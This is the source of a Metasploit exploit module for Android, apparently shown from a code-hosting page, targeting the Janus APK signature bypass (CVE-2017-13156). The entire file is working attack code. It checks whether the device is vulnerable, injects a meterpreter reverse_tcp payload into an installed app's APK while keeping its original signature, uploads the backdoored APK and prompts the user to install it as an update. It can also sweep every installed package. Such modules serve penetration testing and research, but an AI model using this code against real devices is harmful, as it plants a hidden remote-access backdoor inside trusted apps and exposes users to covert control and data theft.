Path: blob/master/modules/exploits/android/local/janus.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ManualRanking78include Msf::Exploit::FileDropper9include Msf::Post::File10include Msf::Post::Android::Priv11include Msf::Payload::Android12prepend Msf::Exploit::Remote::AutoCheck1314def initialize(info = {})15super(16update_info(17info,18{19'Name' => 'Android Janus APK Signature bypass',20'Description' => %q{21This module exploits CVE-2017-13156 in Android to install a payload into another22application. The payload APK will have the same signature and can be installed23as an update, preserving the existing data.24The vulnerability was fixed in the 5th December 2017 security patch, and was25additionally fixed by the APK Signature scheme v2, so only APKs signed with26the v1 scheme are vulnerable.27Payload handler is disabled, and a multi/handler must be started first.28},29'Author' => [30'GuardSquare', # discovery31'V-E-O', # proof of concept32'timwr', # metasploit module33'h00die', # metasploit module34],35'References' => [36['CVE', '2017-13156'],37['URL', 'https://www.guardsquare.com/en/blog/new-android-vulnerability-allows-attackers-modify-apps-without-affecting-their-signatures'],38['URL', 'https://github.com/V-E-O/PoC/tree/master/CVE-2017-13156'],39],40'DisclosureDate' => '2017-07-31',41'SessionTypes' => [ 'meterpreter' ],42'Platform' => [ 'android' ],43'Arch' => [ ARCH_DALVIK ],44'Targets' => [ [ 'Automatic', {} ] ],45'DefaultOptions' => {46'PAYLOAD' => 'android/meterpreter/reverse_tcp',47'AndroidWakelock' => false, # the target may not have the WAKE_LOCK permission48'DisablePayloadHandler' => true49},50'DefaultTarget' => 0,51'Notes' => {52'SideEffects' => [ARTIFACTS_ON_DISK, SCREEN_EFFECTS],53'Reliability' => [],54'Stability' => [SERVICE_RESOURCE_LOSS] # ZTE youtube app won't start anymore55},56'Compat' => {57'Meterpreter' => {58'Commands' => %w[59appapi_app_install60]61}62}63}64)65)66register_options([67OptString.new('PACKAGE', [true, 'The package to target, or ALL to attempt all', 'com.phonegap.camerasample']),68])69end7071def check72os = cmd_exec('getprop ro.build.version.release')7374unless Rex::Version.new(os).between?(Rex::Version.new('5.1.1'), Rex::Version.new('8.0.0'))75return CheckCode::Safe("Android version #{os} is not vulnerable.")76end7778vprint_good("Android version #{os} appears to be vulnerable.")7980patch = cmd_exec('getprop ro.build.version.security_patch')8182if patch.empty?83return CheckCode::Appears('Unable to determine patch level. Pre-5.0 this is unaccessible.')84end8586if patch > '2017-12-05'87return CheckCode::Safe("Android security patch level #{patch} is patched.")88end8990CheckCode::Appears("Android security patch level #{patch} is vulnerable.")91end9293def infect(apkfile)94unless apkfile.start_with?('package:')95fail_with(Failure::BadConfig, 'Unable to locate app apk')96end9798apkfile = apkfile[8..]99print_status("Downloading APK: #{apkfile}")100apk_data = read_file(apkfile)101102# Create an apk with the payload injected103apk_backdoor = ::Msf::Payload::Apk.new104apk_zip = apk_backdoor.backdoor_apk(nil, payload.encoded, false, false, apk_data, false)105106# Extract the classes.dex107dex_data = ''108Zip::File.open_buffer(apk_zip) do |zipfile|109dex_data = zipfile.read('classes.dex')110end111dex_size = dex_data.length112113# Fix the original APKs zip file code directory114cd_end_addr = apk_data.rindex("\x50\x4b\x05\x06")115cd_start_addr = apk_data[cd_end_addr + 16, cd_end_addr + 20].unpack('V')[0]116apk_data[cd_end_addr + 16...cd_end_addr + 20] = [ cd_start_addr + dex_size ].pack('V')117pos = cd_start_addr118while pos && pos < cd_end_addr119offset = apk_data[pos + 42, pos + 46].unpack('V')[0]120apk_data[pos + 42...pos + 46] = [ offset + dex_size ].pack('V')121pos = apk_data.index("\x50\x4b\x01\x02", pos + 46)122end123124# Prepend the new classes.dex to the apk125out_data = dex_data + apk_data126out_data[32...36] = [ out_data.length ].pack('V')127out_data = fix_dex_header(out_data)128129out_apk = "/sdcard/#{Rex::Text.rand_text_alphanumeric(6)}.apk"130print_status("Uploading APK: #{out_apk}")131write_file(out_apk, out_data)132register_file_for_cleanup(out_apk)133print_status('APK uploaded')134135# Prompt the user to update the APK136session.appapi.app_install(out_apk)137print_status('User should now have a prompt to install an updated version of the app')138true139rescue StandardError => e140print_error e.to_s141false142end143144def exploit145if datastore['PACKAGE'] == 'ALL'146vprint_status('Finding installed packages (this can take a few minutes depending on list of installed packages)')147all = cmd_exec('pm list packages').split("\n")148c = 1149150ignore = [151'com.metasploit.stage', # avoid injecting into ourself152]153154all.each do |package|155package = package.split(':')[1]156vprint_status("Attempting exploit of apk #{c}/#{all.length} for #{package}")157c += 1158next if ignore.include?(package)159160break if infect(cmd_exec("pm path #{package}"))161end162else163infect(cmd_exec("pm path #{datastore['PACKAGE']}"))164end165end166end167168169